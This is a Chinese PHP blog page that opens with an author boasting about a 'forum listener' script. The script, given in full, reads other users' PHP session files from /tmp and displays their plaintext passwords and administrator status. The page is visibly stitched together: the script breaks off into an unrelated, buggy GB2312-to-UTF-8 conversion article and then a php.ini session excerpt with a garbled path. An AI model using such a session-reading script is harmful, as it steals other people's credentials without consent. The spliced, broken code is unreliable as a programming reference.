首页 > 编程技术 > php

一个查看session内容的函数

发布时间:2016-11-25 16:34

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
    return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$username."""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}
function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
    很早以前找到一个把GB码转化为UTF-8的函数,配合一个GB到UNICODE的对照表(gb2312.txt),用于在GD中输出汉字。后来发现在欲输出的内容中含有西文字符时,会出现混乱。后来找到了修改后的代码,解决了问题。现将两个函数做一对比分析如下。
首先,这是一个UNICODE到UTF-8编码转换的函数,这一部分修改前后没有变化:
function u2utf8($c)
{
for($i=0;$i<count($c);$i++)
$str="";
if ($c < 0x80) {
$str.=$c;
}
else if ($c < 0x800) {
$str.=(0xC0 | $c>>6);
$str.=(0x80 | $c & 0x3F);
}
else if ($c < 0x10000) {
$str.=(0xE0 | $c>>12);
$str.=(0x80 | $c>>6 & 0x3F);
$str.=(0x80 | $c & 0x3F);
}
else if ($c < 0x200000) {
$str.=(0xF0 | $c>>18);
$str.=(0x80 | $c>>12 & 0x3F);
$str.=(0x80 | $c>>6 & 0x3F);
$str.=(0x80 | $c & 0x3F);
}
return $str;
}
这里完全是按照UTF-8编码的规则,通过判断字符属于不同的UNICODE编码段范围,进行不同的移位和位与操作,以转化为UTF-8编码。关于该规则可参考http://www.utf8.org/上的说明。
这是修改前的GB转化为UTF-8编码的函数,其中调用了上面的u2utf8函数。
function gb2utf8($gb)     /* Program writen by sadly www.phpx.com    */
{
if(!trim($gb))
return $gb;
$filename="gb2312.txt";
$tmp=file($filename);
$codetable=array();
while(list($key,$value)=each($tmp))
$codetable[hexdec(substr($value,0,6))]=substr($value,7,6);
$utf8="";
while($gb)
{
if (ord(substr($gb,0,1))>127)
{
$this=substr($gb,0,2);
$gb=substr($gb,2,strlen($gb));
$utf8.=u2utf8(hexdec($codetable[hexdec(bin2hex($this))-0x8080]));
}
else
{
$gb=substr($gb,1,strlen($gb));
$utf8.=u2utf8(substr($gb,0,1));
}
}
$ret="";
for($i=0;$i<strlen($utf8);$i+=3)
$ret.=chr(substr($utf8,$i,3));
return $ret;
[Session]
session.save_handler        = files     ; 用于保存/取回数据的控制方式
session.save_path    = C:win emp    ; 在 save_handler 设为文件时传给控制器的参数,
                ; 这是数据文件将保存的路径。
session.use_cookies    = 1    ; 是否使用cookies
session.name           = PHPSESSID    
                ; 用在cookie里的session的名字
session.auto_start        = 0    ; 在请求启动时初始化session
session.cookie_lifetime     = 0    ; 为按秒记的cookie的保存时间,
                ; 或为0时,直到浏览器被重启
session.cookie_path    = /    ; cookie的有效路径
session.cookie_domain     =    ; cookie的有效域
session.serialize_handler = php     ; 用于连接数据的控制器
                ; php是 PHP 的标准控制器。
session.gc_probability    = 1    ; 按百分比的'garbage collection(碎片整理)'进程
                ; 在每次 session 初始化的时候开始的可能性。
session.gc_maxlifetime    = 1440    ; 在这里数字所指的秒数后,保存的数据将被视为
                ; '碎片(garbage)'并由gc 进程清理掉。
标签:[!--infotagslink--]

您可能感兴趣的文章: